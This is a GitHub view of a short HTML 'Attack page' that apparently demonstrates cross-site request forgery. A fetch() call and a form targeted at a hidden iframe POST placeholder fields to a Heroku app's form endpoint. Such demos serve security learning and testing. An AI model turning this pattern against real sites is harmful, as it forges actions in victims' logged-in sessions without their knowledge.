aadijoshi.github.io/attack.html at master · aadijoshi/aadijoshi.github.io · GitHub

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<!DOCTYPE html>

<html>
  <head>
  </head>
  <body>
    <h3> Attack page </h3>
    <script>
      let submitPost = () => {
        fetch('https://quiet-eyrie-24435.herokuapp.com/api/form', {
          method: 'POST',
          headers: {
            'Content-type': 'application/x-www-form-urlencoded',
          },
          body: "attacker1=val1&attacker2=val2&attacker3=val3",
        });
      }
    </script>
    <iframe title="hiddenframe" name="hiddenframe" id="hiddenframe"> </iframe>
    <form action='https://quiet-eyrie-24435.herokuapp.com/api/form' method="POST" target="hiddenframe">
      <input type="text" name="attacker1" value="val1"/>
      <input type="text" name="attacker2" value="val2"/>
      <input type="text" name="attacker3" value="val3"/>
      <input type="submit" value="Submit Form" />
    </form>
    <input type="submit" value="Submit POST" onclick="submitPost()" />
  </body>
</html>